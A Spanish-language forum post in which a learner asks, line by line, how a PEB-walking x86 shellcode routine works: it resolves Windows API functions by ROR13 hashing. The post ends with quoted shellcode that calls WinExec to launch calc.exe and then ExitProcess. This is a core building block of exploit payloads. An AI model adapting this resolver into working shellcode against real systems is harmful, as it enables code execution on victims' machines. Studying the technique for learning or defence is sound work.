hola
Me podrian ayudar a entender esto
api_call:
pushad ;registros a pila
mov ebp, esp
xor edx, edx
mov edx, [fs:edx+48] ;puntero a PEB
mov edx, [edx+12] ;puntero a LDR
mov edx, [edx+20] ;puntero al primer modulo de la lista de InMemoryOrder
next_mod:
mov esi, [edx+40] ;puntero al nombre de los modulos
movzx ecx, word [edx+38] ;logitud a verficar
xor edi, edi
Esta parte no la entiendo... se movera a esi edx+40, supuestamente es el puntero a los modulos pero donde encuentro informacion sobre el porque edx+40 apunta a los nombres
movzx tengo entendido que es para mover a un destino rellenando con ceros, pero porque un word [edx+38]?
loop_modname:
xor eax, eax
lodsb
cmp al, 'a' ;el nombre del modulo esta en minuscula
jl not_lowercase ;lo pasamos
sub al, 0x20 ;a mayuscula
not_lowercase:
ror edi, 13 ;rotamos hacia la derecha
add edi, eax ;el valor del hash
loop loop_modname ;hasta ecx=0
Aqui quiero creer que lo que pasa es que lodsb leera byte por byte de mov esi, y lo metera en ax, se hara una comparacion con los ultimos 8 bits y si resulta a minuscula se hara mayuscula y saltara a not_lowercase
entiendo que ror es para voltear a la derecha, pero porque 13?, add hace una suma de edi + eax?, y como que el hash?, el que yo le pongo por ejemplo
push 0x876F8B31 ;hash para WinExec a pila
o cual hash?
y me imagino que el loop hace que repita ecx que se relizo en next_mod
push edx ;Posicion
push edi ;y hash del modulo actual a pila
mov edx, [edx+16] ;direccion base del modulo a edx
mov eax, [edx+60] ;cabecera PE a eax
add eax, edx
mov eax, [eax+120] ;EAT a eax
test eax, eax ;hay EAT?
jz get_next_mod1 ;no, siguiente modulo
add eax, edx
push eax ;EAT del modulo a pila
mov ecx, [eax+24] ;numero de funciones del modulo a ecx
mov ebx, [eax+32] ;RVA de las funciones a ebx
add ebx, edx
push edx ;Posicion
push edi ;y hash del modulo actual a pila
Esto creo que es edx del inicio, puntero del primer modulo, y el hash que se caba de encontrar, el cual todavia no entiendo cual
mov edx, [edx+16] ;direccion base del modulo a edx
este me imagino que es PVOID BaseAddress
mov eax, [edx+60] ;cabecera PE a eax
add eax, edx
mov eax, [eax+120] ;EAT a eax
test eax, eax ;hay EAT?
jz get_next_mod1 ;no, siguiente modulo
creo que es el PE de kernel32.dll y la suma de eax y edx mas 120 me llevara a EAT, si no hay entonces llegare a get_next_mod1
get_next_mod1:
pop edi ;hash del siguiente modulo a eax
pop edx ;posicion donde quedamos en la lista de modulos a edx
mov edx, [edx] ;puntero al siguiente modulo
jmp short next_mod
me imagino que saco de la pila edi, edx y regresamos a la posicion de antes y se repite next_mod
add eax, edx
push eax ;EAT del modulo a pila
mov ecx, [eax+24] ;numero de funciones del modulo a ecx
mov ebx, [eax+32] ;RVA de las funciones a ebx
add ebx, edx
posiblemente aqui se encuentra EAT me llevara a RVA donde estan las funciones del modulo
get_next_func:
jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo
dec ecx ;numero de la funcion - 1
mov esi, [ebx+ecx*4] ;RVA de la funcion a esi
add esi, edx
xor edi, edi
pero me imagino que pasa si se leen tods las funciones, aunque no entiendo como funcionaria
loop_funcname:
xor eax, eax
lodsb ;byte por byte del nombre de la funcion en ASCII
ror edi, 13 ;buscamos
add edi, eax ;el caracter
cmp al, ah ;nulo que indica el final de la cadena
jne loop_funcname ;hasta tener el hash completo de la funcion
add edi, [ebp-8] ;edi=hash del modulo+hash de la funcion
cmp edi, [ebp+36] ;es la que buscamos?
jnz get_next_func ;no, sigamos con la siguiente funcion
pop eax ;EAT del modulo a eax
mov ebx, [eax+36] ;conseguimos RVA
add ebx, edx ;le a?adimos la direccion base del modulo
mov cx, [ebx+2*ecx]
mov ebx, [eax+28] ;RVA de la funciones a ebx
add ebx, edx ;le a?adimos la direccion base del modulo
mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
add eax, edx ;le a?adimos la direccion base del modulo y listo, en eax
finish:
mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor
Y para finalizar
Me imagino que se hace exactamente lo mismo para buscar la funcion con loop
loop_funcname:
xor eax, eax
lodsb ;byte por byte del nombre de la funcion en ASCII
ror edi, 13 ;buscamos
add edi, eax ;el caracter
cmp al, ah ;nulo que indica el final de la cadena
jne loop_funcname ;hasta tener el hash completo de la funcion
esto no entiendo que hace, solo se que sirve para verfiricar que es la que buscamos, pero porque ebp-8 y ebp+36
add edi, [ebp-8] ;edi=hash del modulo+hash de la funcion
cmp edi, [ebp+36] ;es la que buscamos?
jnz get_next_func ;no, sigamos con la siguiente funcion
Aqui y solo me imagino que es agregar a la pila todo los datos
pop eax ;EAT del modulo a eax
mov ebx, [eax+36] ;conseguimos RVA
add ebx, edx ;le a?adimos la direccion base del modulo
mov cx, [ebx+2*ecx]
mov ebx, [eax+28] ;RVA de la funciones a ebx
add ebx, edx ;le a?adimos la direccion base del modulo
mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
add eax, edx ;le a?adimos la direccion base del modulo y listo, en eax
y finalizamos
finish:
mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor
Perdon se que son muchas preguntas pero espero me puedan ayudar poco a poco, porque ya pase varios dias leyendo y googlendo sobre muchas cosas, afortundente el formato PE lo logre entender y bueno el manual que hay para formato PE sobre windows pues sigo leyendo
varias funciones que desconocia de ASM las sigo aprendiendo, ya logre hacer una shell con las direcciones de WinExec y ExitProcess, me costo un poco de trabajo porque no sabia como hacer un push a "db 'cmd.exe', 0'"... XD
y buscando me di cuenta que con esas mismas direcciones se puede ejecutar una shell con PEB, esto lo encontre del blog Harmony Security
[BITS 32]
[ORG 0]
cld // clear the direction flag
call start // call start, this pushes the address of 'api_call' onto the stack
delta:
%include "./x86_api_call.asm"
start:
pop ebp // pop off the address of 'api_call' for calling later
push byte +1 // push the command show parameter
lea eax, [ebp+command-delta] // calculate an address to the command line
push eax // push the command line parameter
push 0x876F8B31 // push the hash value for WinExec
call ebp // kernel32.dll!WinExec( &command, SW_NORMAL )
push byte 0 // push the desired exit code parameter
push 0x56A2B5F0 // push the hash value for ExitProcess
call ebp // call kernel32.dll!ExitProcess( 0 )
command:
db "calc.exe", 0
y pues estoy interesado en aprender a hacer cosas como esas
bueno, espero me puedan ayudar
salu2